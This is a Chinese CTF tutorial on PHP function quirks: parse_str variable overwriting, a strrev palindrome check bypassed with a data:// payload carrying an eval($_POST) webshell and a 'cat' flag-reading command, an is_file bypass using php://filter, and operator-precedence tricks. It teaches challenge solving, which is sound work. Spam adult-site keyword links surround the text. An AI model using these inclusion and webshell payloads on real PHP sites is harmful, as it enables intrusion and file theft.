久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

CTF中的PHP特性函數(shù)解析之下篇

瀏覽:173日期:2022-06-06 15:52:34
目錄
  • 前言
  • parse_str
  • strrev
  • is_file
  • 優(yōu)先級(jí)問(wèn)題
  • 結(jié)語(yǔ)

前言

上篇文章講的進(jìn)階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數(shù)的最后一篇,我也會(huì)重點(diǎn)介紹一些有趣的PHP特性以及利用方法,下面開(kāi)始我們今天的內(nèi)容分享。

parse_str

parse_str()這個(gè)函數(shù)會(huì)把查詢字符串解析到變量中。那么我們?nèi)绾卫盟奶匦阅兀覀兛聪旅娴睦樱?/p>

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST["v1"])){    $v1 = $_POST["v1"];    $v3 = $_GET["v3"];       parse_str($v1,$v2);       if($v2["flag"]==md5($v3)){   echo $flag;       }} ?>

分析一下代碼要求我們什么,看最后要我們數(shù)組v2等于md5(v3),而根據(jù)上面代碼v2則是由該函數(shù)經(jīng)過(guò)v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數(shù)的特點(diǎn)將v2[flag]的值覆蓋,那么具體要怎樣做呢?

先對(duì)數(shù)字5進(jìn)行md5加密:

<?php$b=md5("5");echo $b;// e4da3b7fbbce2345d7772b0674a318d5?>

之后再?gòu)膙1傳入我們的值即可完成繞過(guò):

Payload:GET:v3=5POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

這個(gè)函數(shù)還是很好理解的,就是將字符串進(jìn)行翻轉(zhuǎn),曾經(jīng)遇到過(guò)考察這個(gè)的題目覺(jué)得很有趣分享給大家,我們先看代碼:

highlight_file(__FILE__);    $file = $_POST["file"];    if(isset($file)){if(strrev($file)==$file){    include $file;}

代碼很簡(jiǎn)單,第一個(gè)是高亮代碼沒(méi)有什么用,要我們傳入file而且要使回文數(shù)等于它本身并且還要考慮如何進(jìn)行攻擊,是不是不太好想,這里使用php里面的data協(xié)議,該協(xié)議可以進(jìn)行寫(xiě)入數(shù)據(jù),而且?>閉合后可以加任意字符不會(huì)受別的影響。于是我們構(gòu)造代碼:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路還是挺巧妙的。

is_file

該函數(shù)檢測(cè)是不是一個(gè)常規(guī)的文件類型,在CTF中也出過(guò)繞過(guò)這個(gè)函數(shù)的題目,下面我們先看看代碼:

<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){    if(preg_match("/../|http|https|data|input|rot13|base64|string/i",$file)){die("hacker!");    }else{return $file;    }}$file=$_GET["file"];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} ?>

分析一下filter函數(shù)過(guò)濾了很多關(guān)鍵字符串對(duì)我們的輸入進(jìn)行限制,最后還不能讓is_file檢測(cè)出來(lái)是文件,那我們要怎樣讀取flag.php文件呢,看最后有個(gè)高亮file的操作,這里就是利用點(diǎn),我們要讓其等于flag文件,于是需要繞過(guò):

這里 根據(jù)特性is_file不會(huì)識(shí)別php偽協(xié)議,于是我們構(gòu)造下面代碼:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

這樣傳入即可繞過(guò)檢測(cè)。

優(yōu)先級(jí)問(wèn)題

在php里存在以下優(yōu)先級(jí)特性:

&&與||的優(yōu)先級(jí)高于=,而&&優(yōu)先級(jí)高于||

=的優(yōu)先級(jí)高于and與or

這里也可以作為考點(diǎn)來(lái)考,我們看下面代碼:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["username"]) && isset($_GET["password"]) && isset($_GET["code"])){    $username = (String)$_GET["username"];    $password = (String)$_GET["password"];    $code = (String)$_GET["code"];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == "admin"){    echo $flag;}     }}

我們需要傳入三個(gè)參數(shù),之后進(jìn)行類型的強(qiáng)制轉(zhuǎn)換,再通過(guò)判斷語(yǔ)句,最后需要code參數(shù)等于admin方可解題,根據(jù)優(yōu)先級(jí)原則,所以當(dāng)?shù)谝粋€(gè)判斷條件為true時(shí),直接跳過(guò)第二個(gè)條件然后判斷第三個(gè)條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構(gòu)造payload:

?code=admin&password=1&username=admin

結(jié)語(yǔ)

本文到這就結(jié)束了,這篇文章講了幾個(gè)比較有趣而且有一些難度的特性知識(shí),不知道大家吸收的咋樣了,當(dāng)然PHP特性遠(yuǎn)沒(méi)有這么少,更多關(guān)于CTF PHP特性函數(shù)的資料請(qǐng)關(guān)注其它相關(guān)文章!

標(biāo)簽: PHP
主站蜘蛛池模板: av久久 | 日韩一区二区三区在线视频 | 国产毛片在线 | 国产一区二区三区色淫影院 | 99精品久久久久久久免费看蜜月 | 欧美一区二区三区免费电影 | 国内精品视频一区二区三区 | 国产第一页在线播放 | 欧美3区| 亚洲成人精品在线 | 日韩精品一区二区三区在线 | 国产精品视频播放 | 精品国产一区三区 | 精品成人免费一区二区在线播放 | 午夜欧美 | 欧美激情精品一区 | 久日精品 | 99久久婷婷国产综合亚洲 | 国产在线专区 | 精品国产一区二区三区成人影院 | 成人免费精品视频 | 九九视频在线 | 中文字幕第33页 | 成人免费视频观看视频 | 亚洲精品一区中文字幕乱码 | 日韩欧美国产一区二区三区 | 日韩精品视频网 | 伊人青青久久 | 精品国产一区二区三区性色av | 在线三级电影 | 欧美一区在线视频 | av不卡电影在线观看 | 日韩一区二区在线视频 | 影音先锋男人网 | 欧美精品欧美精品系列 | 欧美午夜一区二区三区免费大片 | 99久热精品 | 亚洲日本欧美日韩高观看 | 国产在线精品一区二区三区 | 涩涩视频在线观看 | 中文字幕电影在线 |